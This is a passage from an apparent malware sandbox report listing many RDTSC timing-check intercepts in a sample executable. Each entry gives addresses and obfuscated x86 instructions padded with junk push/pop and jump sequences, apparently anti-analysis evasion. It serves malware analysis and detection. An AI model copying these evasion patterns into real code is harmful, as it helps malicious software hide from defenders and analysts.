popfd 0x0000004e push eax 0x0000004f pop eax 0x00000050 popad 0x00000051 push dword ptr [eax] 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 mov ax, 8199h 0x0000005a pushfd 0x0000005b jmp 00007F4E5C73ECB6h 0x00000060 adc ah, 00000028h 0x00000063 jmp 00007F4E5C73ECABh 0x00000068 popfd 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC03B3 second address: 6EC03B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC03B9 second address: 6EC03BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0448 second address: 6EC04A0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4E5D020B50h 0x00000008 and cl, FFFFFFD8h 0x0000000b jmp 00007F4E5D020B4Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F4E5D020B58h 0x00000019 adc esi, 327DF438h 0x0000001f jmp 00007F4E5D020B4Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov esi, eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC04A0 second address: 6EC04A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC04A4 second address: 6EC04AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC04AA second address: 6EC04E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov ax, 53F3h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F4E5C73ECB6h 0x00000018 xor cl, FFFFFFF8h 0x0000001b jmp 00007F4E5C73ECABh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC04E2 second address: 6EC050D instructions: 0x00000000 rdtsc 0x00000002 mov ah, 0Eh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F4ECB6DFD05h 0x0000000d jmp 00007F4E5D020B4Bh 0x00000012 sub eax, eax 0x00000014 pushad 0x00000015 mov esi, ebx 0x00000017 mov bx, ED04h 0x0000001b popad 0x0000001c mov dword ptr [esi], edi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov si, dx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC050D second address: 6EC0524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0524 second address: 6EC05E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+04h], eax 0x0000000b pushad 0x0000000c mov dx, E9A6h 0x00000010 mov si, bx 0x00000013 popad 0x00000014 mov dword ptr [esi+08h], eax 0x00000017 jmp 00007F4E5D020B59h 0x0000001c mov dword ptr [esi+0Ch], eax 0x0000001f pushad 0x00000020 mov cl, 6Fh 0x00000022 mov dx, F98Ch 0x00000026 popad 0x00000027 mov eax, dword ptr [ebx+4Ch] 0x0000002a jmp 00007F4E5D020B4Bh 0x0000002f mov dword ptr [esi+10h], eax 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F4E5D020B54h 0x00000039 add esi, 31963CD8h 0x0000003f jmp 00007F4E5D020B4Bh 0x00000044 popfd 0x00000045 pushfd 0x00000046 jmp 00007F4E5D020B58h 0x0000004b and esi, 54710738h 0x00000051 jmp 00007F4E5D020B4Bh 0x00000056 popfd 0x00000057 popad 0x00000058 mov eax, dword ptr [ebx+50h] 0x0000005b pushad 0x0000005c mov edi, esi 0x0000005e movzx esi, bx 0x00000061 popad 0x00000062 mov dword ptr [esi+14h], eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F4E5D020B56h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC05E9 second address: 6EC060F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+54h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4E5C73ECB0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC060F second address: 6EC061E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC061E second address: 6EC0685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4E5C73ECAFh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F4E5C73ECB9h 0x0000000f add al, FFFFFFF6h 0x00000012 jmp 00007F4E5C73ECB1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esi+18h], eax 0x0000001e jmp 00007F4E5C73ECAEh 0x00000023 mov eax, dword ptr [ebx+58h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F4E5C73ECAAh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0685 second address: 6EC0689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0689 second address: 6EC068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC068F second address: 6EC06D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+1Ch], eax 0x0000000c pushad 0x0000000d mov eax, 46F5148Dh 0x00000012 mov dx, si 0x00000015 popad 0x00000016 mov eax, dword ptr [ebx+5Ch] 0x00000019 pushad 0x0000001a mov cx, 23C1h 0x0000001e mov al, 3Ah 0x00000020 popad 0x00000021 mov dword ptr [esi+20h], eax 0x00000024 pushad 0x00000025 mov edx, 18117F4Ah 0x0000002a push edx 0x0000002b movzx esi, bx 0x0000002e pop edx 0x0000002f popad 0x00000030 mov eax, dword ptr [ebx+60h] 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov si, bx 0x00000039 mov esi, edi 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC06D4 second address: 6EC06DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC06DA second address: 6EC074C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+24h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4E5D020B4Ch 0x00000012 add ax, 8168h 0x00000017 jmp 00007F4E5D020B4Bh 0x0000001c popfd 0x0000001d pushad 0x0000001e mov dl, ch 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 popad 0x00000024 mov eax, dword ptr [ebx+64h] 0x00000027 jmp 00007F4E5D020B57h 0x0000002c mov dword ptr [esi+28h], eax 0x0000002f jmp 00007F4E5D020B56h 0x00000034 mov eax, dword ptr [ebx+68h] 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushad 0x0000003b popad 0x0000003c mov edx, 588AC2BEh 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC074C second address: 6EC07A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+2Ch], eax 0x0000000c pushad 0x0000000d mov ecx, 460A5F5Dh 0x00000012 jmp 00007F4E5C73ECAAh 0x00000017 popad 0x00000018 mov ax, word ptr [ebx+6Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F4E5C73ECADh 0x00000025 or ch, FFFFFFA6h 0x00000028 jmp 00007F4E5C73ECB1h 0x0000002d popfd 0x0000002e mov eax, 6F05CED7h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC07A8 second address: 6EC07AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC07AE second address: 6EC07B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC07B2 second address: 6EC07F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+30h], ax 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 call 00007F4E5D020B4Dh 0x00000015 mov edx, ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 mov ax, word ptr [ebx+00000088h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov cx, 7BCBh 0x00000027 call 00007F4E5D020B50h 0x0000002c pop esi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC07F3 second address: 6EC0895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E5C73ECAEh 0x00000009 sbb esi, 1AF33208h 0x0000000f jmp 00007F4E5C73ECABh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F4E5C73ECB8h 0x0000001b jmp 00007F4E5C73ECB5h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov word ptr [esi+32h], ax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F4E5C73ECB3h 0x00000031 adc cx, A85Eh 0x00000036 jmp 00007F4E5C73ECB9h 0x0000003b popfd 0x0000003c call 00007F4E5C73ECB0h 0x00000041 pop ecx 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0895 second address: 6EC08DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+0000008Ch] 0x0000000f jmp 00007F4E5D020B50h 0x00000014 mov dword ptr [esi+34h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4E5D020B57h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC08DB second address: 6EC095F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov ebx, 0700E956h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [ebx+18h] 0x00000010 pushad 0x00000011 call 00007F4E5C73ECB3h 0x00000016 movzx esi, dx 0x00000019 pop ebx 0x0000001a jmp 00007F4E5C73ECB2h 0x0000001f popad 0x00000020 mov dword ptr [esi+38h], eax 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F4E5C73ECAEh 0x0000002a jmp 00007F4E5C73ECB5h 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007F4E5C73ECAEh 0x00000038 or cl, 00000038h 0x0000003b jmp 00007F4E5C73ECABh 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC095F second address: 6EC09A3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4E5D020B58h 0x00000008 and cl, FFFFFF98h 0x0000000b jmp 00007F4E5D020B4Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+1Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4E5D020B50h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC09A3 second address: 6EC09A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC09A7 second address: 6EC09AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC09AD second address: 6EC09BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC09BE second address: 6EC0A97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+3Ch], eax 0x0000000b pushad 0x0000000c call 00007F4E5D020B53h 0x00000011 pushfd 0x00000012 jmp 00007F4E5D020B58h 0x00000017 or eax, 23FE49B8h 0x0000001d jmp 00007F4E5D020B4Bh 0x00000022 popfd 0x00000023 pop esi 0x00000024 pushfd 0x00000025 jmp 00007F4E5D020B59h 0x0000002a and si, 3456h 0x0000002f jmp 00007F4E5D020B51h 0x00000034 popfd 0x00000035 popad 0x00000036 mov eax, dword ptr [ebx+20h] 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F4E5D020B4Ch 0x00000040 sbb ecx, 59706E78h 0x00000046 jmp 00007F4E5D020B4Bh 0x0000004b popfd 0x0000004c call 00007F4E5D020B58h 0x00000051 mov edx, eax 0x00000053 pop esi 0x00000054 popad 0x00000055 mov dword ptr [esi+40h], eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F4E5D020B58h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0A97 second address: 6EC0A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0A9D second address: 6EC0B0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebx+00000080h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F4E5D020B53h 0x0000001a adc si, 4DAEh 0x0000001f jmp 00007F4E5D020B59h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F4E5D020B50h 0x0000002b add cx, 4F28h 0x00000030 jmp 00007F4E5D020B4Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B0F second address: 6EC0B4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E5C73ECABh 0x00000009 and cl, 0000006Eh 0x0000000c jmp 00007F4E5C73ECB9h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push 00000001h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4E5C73ECADh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B4F second address: 6EC0B54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B54 second address: 6EC0B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B65 second address: 6EC0B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B69 second address: 6EC0B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B6D second address: 6EC0B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0B73 second address: 6EC0BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E5C73ECB6h 0x00000009 sub si, 8178h 0x0000000e jmp 00007F4E5C73ECABh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov si, 56FDh 0x00000021 pushfd 0x00000022 jmp 00007F4E5C73ECAAh 0x00000027 adc al, FFFFFFD8h 0x0000002a jmp 00007F4E5C73ECABh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0BC6 second address: 6EC0C17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F4E5D020B53h 0x00000014 pop esi 0x00000015 jmp 00007F4E5D020B59h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0C17 second address: 6EC0C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E5C73ECADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0C3C second address: 6EC0C9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4E5D020B4Ah 0x00000013 xor si, D488h 0x00000018 jmp 00007F4E5D020B4Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F4E5D020B58h 0x00000024 sbb esi, 7BE736E8h 0x0000002a jmp 00007F4E5D020B4Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0C9D second address: 6EC0CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0CA3 second address: 6EC0CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0CA7 second address: 6EC0CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0D39 second address: 6EC0D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0D40 second address: 6EC0D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E5C73ECB0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0D5B second address: 6EC0DB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b jmp 00007F4E5D020B56h 0x00000010 js 00007F4ECB6DF487h 0x00000016 jmp 00007F4E5D020B50h 0x0000001b mov eax, dword ptr [ebp-0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4E5D020B57h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0DB4 second address: 6EC0E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+04h], eax 0x0000000e jmp 00007F4E5C73ECACh 0x00000013 lea eax, dword ptr [ebx+78h] 0x00000016 jmp 00007F4E5C73ECB0h 0x0000001b push 00000001h 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F4E5C73ECAEh 0x00000024 or ah, 00000048h 0x00000027 jmp 00007F4E5C73ECABh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F4E5C73ECB8h 0x00000033 jmp 00007F4E5C73ECB5h 0x00000038 popfd 0x00000039 popad 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E39 second address: 6EC0E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E3D second address: 6EC0E43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E43 second address: 6EC0E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E49 second address: 6EC0E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E4D second address: 6EC0E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E5C second address: 6EC0E62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0E62 second address: 6EC0EFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E5D020B4Dh 0x00000009 add ch, 00000026h 0x0000000c jmp 00007F4E5D020B51h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F4E5D020B50h 0x00000018 jmp 00007F4E5D020B55h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 nop 0x00000022 pushad 0x00000023 jmp 00007F4E5D020B4Ch 0x00000028 pushfd 0x00000029 jmp 00007F4E5D020B52h 0x0000002e sub ax, 8B58h 0x00000033 jmp 00007F4E5D020B4Bh 0x00000038 popfd 0x00000039 popad 0x0000003a lea eax, dword ptr [ebp-08h] 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F4E5D020B50h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0EFC second address: 6EC0F02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F02 second address: 6EC0F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F08 second address: 6EC0F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F0C second address: 6EC0F3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F4E5D020B54h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4E5D020B4Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F3A second address: 6EC0F61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E5C73ECB5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F82 second address: 6EC0F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0F86 second address: 6EC0F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
